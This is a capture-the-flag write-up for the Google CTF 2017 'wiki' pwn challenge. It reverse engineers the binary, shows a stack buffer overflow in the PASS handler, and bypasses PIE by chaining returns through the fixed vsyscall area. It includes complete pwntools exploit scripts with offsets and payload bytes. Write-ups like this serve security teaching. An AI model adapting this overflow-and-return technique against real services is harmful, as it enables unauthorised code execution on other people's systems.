• Event: Google Capture The Flag 2017 (Quals)
  • Category: pwn
  • Points: 243
  • Solves: ~30

We’re given one file which can be downloaded here.
Task description - Challenge running at wiki.ctfcompetition.com:1337.

Reverse engineering the program

For this task I’ve used the following set of tools:

  • Ida Pro - for disasembling and decompiling
  • gdb with pwndbg plugin for debugging
  • pwntools - an exploit development library written in Python

The first step I’ve done was to check the architecture of the binary (to know which version of IDA Pro should I run)

a@x:~/Desktop/wiki$ file wiki
wiki: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=b0bf486a495913bb2702825c5b41d5823f16b9ac, stripped

I’ve set up IDA Pro to show the same addresses when binary is loaded in the memory when PIE is disabled (for example when you run binary in gdb, or disable ASLR in your system). This can be done by chosing Edit -> Segments -> Rebase Program and typing an address to be used as base - 0x555555554000.

Below I present my interpretation of reverse engineered binary. My C code is not 100% the same as original binary. I simplified it to avoid distracting readers with irrelevant details.

main (0x0000555555554A40)

It does some initialization which I was not analysing. It calls function which I have called real_main.

real_main (0000555555554CB7)

void real_main(void *functions_ptr)
{
    char user_command[0x81];
    void *file_content=NULL;
    while(1)
    {
        memset(user_command,0,0x81);
        read_line(stdin, user_command, 0x80);
        if (!cmp(user_command, "USER"))
        {
            if(file_content)
                exit(0);
            file_content=functions_ptr[1]();
        }
        if (!cmp(user_command, "PASS"))
            functions_ptr[0]();
        if (!cmp(user_command, "LIST"))
            functions_ptr[2]();
    }
}

It takes 1 argument. Debugging revealed that it is an array of pointers to 3 functions which are present in the binary.

pwndbg> telescope 0x7fffffffdfa8
00:0000 rdi  0x7fffffffdfa8 —▸ 0x555555554c5e ◂— push   rbp
01:0008      0x7fffffffdfb0 —▸ 0x555555554da1 ◂— push   rbp
02:0010      0x7fffffffdfb8 —▸ 0x555555554ba5 ◂— push   rbx
03:0018      0x7fffffffdfc0 ◂— 0x0
04:0020      0x7fffffffdfc8 —▸ 0x7ffff7a5b2b1 (__libc_start_main+241) ◂— mov    edi, eax
05:0028      0x7fffffffdfd0 ◂— 0x0
06:0030      0x7fffffffdfd8 —▸ 0x7fffffffe0a8 —▸ 0x7fffffffe3ce ◂— 0x2f612f656d6f682f ('/home/a/')
07:0038      0x7fffffffdfe0 ◂— 0x100000000

I named these functions accordingly : command_USER, command_PASS and command_LIST.

read_line (0x0000555555554C00)

This function does exactly what the name states. It reads user input until '\n' or up to length specified in an argument. Moreover, it returns the number of bytes read.

command_LIST (0x0000555555554BA5)

Sends list of files in folder ./db to the client.

To execute this function it’s enough to type LIST after connecting to a running program:

a@x:~$ nc 192.168.43.252 1337
LIST
xmlset_roodkcableoj28840ybtide
Fortimanager_Access
1MB@tMaN

I have also created folder db with files named like above and filled them with many bytes of value 'a'. Of course, contents of these files are not known to me.

command_USER (0x0000555555554DA1)

char *command_USER()
{
    char file_name[132];
    memset(file_name,0,132);
    strcpy(file_name,"db/");
    read_line(stdin, &file_name[3], 128);
    if (strchr(&file[3], '/'))
        exit(0);
    return read_file_whole_or_first_4096_bytes(file);
}

command_PASS (0x0000555555554C5E)

void command_PASS(char *file_content)
{
    char password[128];
    memset(password, 0, 128);
    if (read_line(0, &password, 4096LL) & 7 )// 7? - The length of user-input data must be divizible by 8
        exit(0);
    is_equal = cmp((char *)&password, data_from_file_1); //cmp returns 1 if both strings are equal
    if (is_equal)
    {
        system("cat flag.txt");
        exit(0);
    }
}

I created a file flag.txt and placed fake flag inside.

Hunting for vulnerability

I didn’t find vulnerability when reverse engineering the first time. I started to think where vulnerability can be located.

Security protections of the binary can be listed using checksec command:

pwndbg> checksec
[*] '/home/a/Desktop/wiki/wiki'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Binary is protected with PIE which makes that .text section is placed at different address on every execution of the program (note that when you run binary in gdb, it disables PIE and also ASLR).

The program use neither heap buffers nor prints user input. It only reads user input to stack buffers and what’s more, canaries are not present on the stack. It is reasonable to expect that buffer overflow vulnerability is present.

Indeed, function command_PASS is prone to buffer overflow. It reads 4096 bytes to password which is only 128 bytes long.

Exploiting the vulnerability

It is not necessary to create a shellcode using ROP technique. To capture the flag it is enough to jump into code that is a part of command_PASS function - system("cat flag.txt");

First idea - leak some memory to obtain address of .text section.
fail - it is not possible to leak the memory.

Second idea - overwrite only x last bytes of the return address to return to system("cat flag.txt")
fail - it is not possible because the length of vulnerable user input must be divisible by 8. All variables (including return address) on the stack are aligned to 8 bytes on x86_64 architecture.

Third idea - I remember the vsyscall table - a deprecated method used to accelerate system calls execution. This table is located at the same address during every run, and it contains RET instructions. Later, during returning from command_PASS I displayed stack content. Stack at higher addresses was keeping pointers to various functions and other executable places in .text section.

I displayed stack content using command:

Breakpoint *0x555555554cb6
pwndbg> stack 40
00:0000 rsp    0x7fffffffdcb8 —▸ 0x555555554d28 ◂— jmp    0x555555554ccd
01:0008        0x7fffffffdcc0 ◂— 0x0
02:0010 rbx-7  0x7fffffffdcc8 ◂— 0x5000000000000000
03:0018        0x7fffffffdcd0 ◂— 0x535341 /* 'ASS' */
04:0020        0x7fffffffdcd8 ◂— 0x0
... 
15:00a8        0x7fffffffdd60 —▸ 0x555555554a8f ◂— xor    ebp, ebp
... 
17:00b8        0x7fffffffdd70 —▸ 0x555555554e10 ◂— push   r15
18:00c0 rbp    0x7fffffffdd78 —▸ 0x555555554c5e ◂— push   rbp
19:00c8        0x7fffffffdd80 —▸ 0x555555554da1 ◂— push   rbp
1a:00d0        0x7fffffffdd88 —▸ 0x555555554ba5 ◂— push   rbx
1b:00d8        0x7fffffffdd90 ◂— 0x0
1c:00e0        0x7fffffffdd98 —▸ 0x7ffff7a33f45 (__libc_start_main+245) ◂— mov    edi, eax
1d:00e8        0x7fffffffdda0 ◂— 0x0
1e:00f0        0x7fffffffdda8 —▸ 0x7fffffffde78 —▸ 0x7fffffffe24a ◂— 0x5800696b69772f2e /* './wiki' */
1f:00f8        0x7fffffffddb0 ◂— 0x100000000
20:0100        0x7fffffffddb8 —▸ 0x555555554a40 ◂— sub    rsp, 0x28
21:0108        0x7fffffffddc0 ◂— 0x0
22:0110        0x7fffffffddc8 ◂— 0x30cafa3c6197794
23:0118        0x7fffffffddd0 —▸ 0x555555554a8f ◂— xor    ebp, ebp
24:0120        0x7fffffffddd8 —▸ 0x7fffffffde70 ◂— 0x1
25:0128        0x7fffffffdde0 ◂— 0x0
... 
27:0138        0x7fffffffddf0 ◂— 0xfcf3505c7d597794

Stack contains addresses of functions: command_PASS, command_LIST, command_USER and some other places in .text section.

I could fill the place on the stack between return address (including it) and chosen function (not including it) by RET instructions from vsyscall table. That way I could jump to chosen address from this stack area.

Next, I viewed command_PASS in assembly view and realized something that can be the last part of the puzzle.

As a brief digression here, I would like to mention that Linux on x86_64 architecture follows the System V ABI standard. Function calling convention uses the following registers:

  • first argument - RDI
  • second argument - RSI
  • 3rd argument - RDX
  • 4th argument - RCX
  • 5th argument - R8
  • 6th argument - R9

If there are more arguments than 6, they are passed on the stack.

Returning back to the function command_PASS, you can notice that during RET, RDI contains a pointer to password buffer.

The idea is to call jump again to command_PASS function. RDI contains data which we know and now this will be the first argument for this function.

The vsyscall area

Once upon a time, vsyscall area was created to speed up program execution. People came to a conclusion that it is not necessary to enter the kernel mode during some syscalls like gettimeofday. It can be implemented in user mode. Therefore, an executable area was created, implementing some of the funcionality normally executed in kernel mode via traditional syscall. For this functionality, when process executed syscall, it was was jumping to the vsyscall area instead of going into kernel mode.

Unfortunately, vsyscall area was located at the same address during every run of the program. This proved to be a bad decision from security point of view. Exploit authors had list of several gadgets available even when PIE was enabled.

After some period of time, kernel developers realized that this is wrong, and they started to think how the problem can be minimized. vsyscall could not be removed due to risk of breaking backward compatibility. Instead, they modified vsyscall area in the following way:

  • code was replaced by instructions: mov rax, [syscall_number]; syscall; ret

probably you can see on your system, by attaching to random process:

pwndbg> x/10i 0xffffffffff600000
   0xffffffffff600000:  mov    rax,0x60
   0xffffffffff600007:  syscall
   0xffffffffff600009:  ret
   0xffffffffff60000a:  int3
   0xffffffffff60000b:  int3
   0xffffffffff60000c:  int3
   0xffffffffff60000d:  int3
   0xffffffffff60000e:  int3
   0xffffffffff60000f:  int3
   0xffffffffff600010:  int3

there is also:

pwndbg> x/3i 0xffffffffff600400
   0xffffffffff600400:  mov    rax,0xc9
   0xffffffffff600407:  syscall
   0xffffffffff600409:  ret

and:

pwndbg> x/3i 0xffffffffff600800
   0xffffffffff600800:  mov    rax,0x135
   0xffffffffff600807:  syscall
   0xffffffffff600809:  ret

And that’s everything, there is no more code.

Accordingly, the syscalls incluced in vsyscall area are: gettimeofday, time, getcpu. Position of vsyscall area is still not randomized, but number of usefull gadgets is now reduced.

  • One can’t simply jump to RET (process segfaults). You can only jump to one of three mov instructions.

Vsyscall area is not normal memory region, but it is emulated by the kernel. It is filled by trap instructions. When process executes this part of memory, kernel is notified of a page fault.

Later, kernel hits function emulate_vsyscall. Argument address is an address where process jumped in vsyscall area.

Next, function addr_to_syscall_nr validates whether this address is permitted. Address must be one of 0xffffffffff600000, 0xffffffffff600400, 0xffffffffff600800


I would like to mention that currently Linux supports vDSO area. It has the same functionality as vsyscall but the difference is that the localization of it is randomized.

If you are interested in how vsyscall was looking at the beginning, you can look at snipped taken on Ubuntu 11.04 x86_64:

(gdb) x/10i 0xffffffffff600000
   0xffffffffff600000:  push   %rbp
   0xffffffffff600001:  mov    %rsp,%rbp
   0xffffffffff600004:  push   %r13
   0xffffffffff600006:  push   %r12
   0xffffffffff600008:  mov    %rdi,%r12
   0xffffffffff60000b:  push   %rbx
   0xffffffffff60000c:  mov    %rsi,%rbx
   0xffffffffff60000f:  sub    $0x8,%rsp
   0xffffffffff600013:  test   %rdi,%rdi
   0xffffffffff600016:  je     0xffffffffff6000d5
(gdb) x/10i 0xffffffffff600400
   0xffffffffff600400:  mov    -0x272(%rip),%ecx        # 0xffffffffff600194
   0xffffffffff600406:  push   %rbp
   0xffffffffff600407:  mov    %rsp,%rbp
   0xffffffffff60040a:  test   %ecx,%ecx
   0xffffffffff60040c:  je     0xffffffffff600432
   0xffffffffff60040e:  mov    -0x294(%rip),%edx        # 0xffffffffff600180
   0xffffffffff600414:  test   $0x1,%dl
   0xffffffffff600417:  jne    0xffffffffff60043b
   0xffffffffff600419:  mov    -0x298(%rip),%rax        # 0xffffffffff600188
   0xffffffffff600420:  cmp    -0x2a6(%rip),%edx        # 0xffffffffff600180
(gdb) x/10i 0xffffffffff600800
   0xffffffffff600800:  push   %rbp
   0xffffffffff600801:  test   %rdx,%rdx
   0xffffffffff600804:  mov    %rdx,%r8
   0xffffffffff600807:  mov    %rsp,%rbp
   0xffffffffff60080a:  je     0xffffffffff600868
   0xffffffffff60080c:  mov    0x6d(%rip),%r9        # 0xffffffffff600880
   0xffffffffff600813:  cmp    %r9,(%rdx)
   0xffffffffff600816:  je     0xffffffffff600858
   0xffffffffff600818:  cmpl   $0x1,0x51(%rip)        # 0xffffffffff600870
   0xffffffffff60081f:  je     0xffffffffff600860

References:

Writing exploit

Looking at assembly code of command_PASS, we can compute the offset of return address starting from user buffer.

During call, before jumping to function, return address is placed on the stack. At 0x0000555555554C5E address, RBP is pushed:

.text:0000555555554C5E                 push    rbp

Later RBX is pushed:

.text:0000555555554C6E                 push    rbx

And next, RSP is substracted by 0x88 bytes

.text:0000555555554C6F                 sub     rsp, 88h

The addres of the password buffer is equal to the place of actual RSP register:

.text:0000555555554C79                 mov     rsi, rsp        ; buf_1

Below is a picture visualizing stack layout.

stack

So you need to send 0x88+0x8+0x8 = 152 bytes before data which starts to overwrite return address.

Another thing that we need to know is the size of area between return address and command_PASS. When you look at diagram showing stack on RET in command_PASS, you can see that return address is placed at position:

00:0000 rsp    0x7fffffffdcb8 —▸ 0x555555554d28 ◂— jmp    0x555555554ccd

command_PASS is placed here:

18:00c0 rbp    0x7fffffffdd78 —▸ 0x555555554c5e ◂— push   rbp

First number in a line shows position on stack (in hexadecimal). It is necessary to fill stack fields from 00 to 23. It is 24 8B values.

For computing offset of return address you can also use pwntools.util.cyclic. This is easier method but you need to run debugger one more time :(

I needed to chose one syscall from available syscalls as filler between return address and address to command_PASS. At the beginning I have used gettime which saves UNIX time in memory pointed by RDI. When I was running exploit on my system, I was providing current time as password in second call to command_PASS. It worked on my host, but unfortunately was not working on the CTF server. I was thinking that UNIX time is the same on all PCs but now I realized that it is not true. Later I changed syscall to gettimeofday. It saves a struct timeval representing current UTC time, in a memory pointed to by the first argument. I wrote a script which checks the value of memory that is pointed by the RDI register after this operation. I disabled ASLR on my system to disable ASLR and PIE, to make debugging easier. Without this the script below would not work.

I ran the binary and set it to listen on port 1337 on my host:

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./wiki

The following script was used:

from pwn import *

r=remote("localhost",1337)

r.sendline('USER')
r.sendline('Fortimanager_Access')
r.sendline('PASS')


gdb.attach('wiki','''
b system
b *0x0000555555554C5E
continue
x/10b $rdi
continue
           ''')


gettimeofday=0xffffffffff600800
ret=p64(gettimeofday)


payload='a'*(8*19)+ret*24
#payload = ROP which contains 24 * 0xffffffffff600800 (mov eax, SYS_gettimofday; syscall; ret)

r.sendline(payload)

I run this script several times and it gives output similar to this:

Breakpoint 2, 0x0000555555554c5e in ?? ()
0x7fffffffdf90: 3       0       0       0       97      97      97      97
0x7fffffffdf98: 97      97

The value of 3 in above output changes between 0 to 7 at every execution.

It means that the syscall gettimeofday modified first 4 bytes pointed by RDI. Now I can send password which is equal to this buffer, first byte is different but I can assume that is equal to 0 and run exploit several times. Algorithm comparing passwords stops at null byte, so we can send 8 "\x00" as password.

Now, we can modify this script to do the job mentioned above:

from pwn import *

r=remote("localhost",1337)

r.sendline('USER')
r.sendline('Fortimanager_Access')
r.sendline('PASS')

gettimeofday=0xffffffffff600800
ret=p64(gettimeofday)


payload='a'*(8*19)+ret*24
#payload = ROP which contains 24 * 0xffffffffff600800 (mov eax, SYS_gettimofday; syscall; ret)

r.sendline(payload)
r.sendline("\x00"*8) # sending password
print r.recvline()

After running it for the second time, it prints my fake flag:

a@x:~/Desktop/wiki$ sudo python exploit.py
[+] Opening connection to localhost on port 1337: Done
AGA{lUb1_n4l3sn1ki}

After modyfying line r=remote(... to connect to google address, it gives us real flag which is:

CTF{NoLeaksFromThisPipe}

Summing up

Below is a visualization of the exploit. I hope that this helps when some parts are less understandable:

exploit_visealization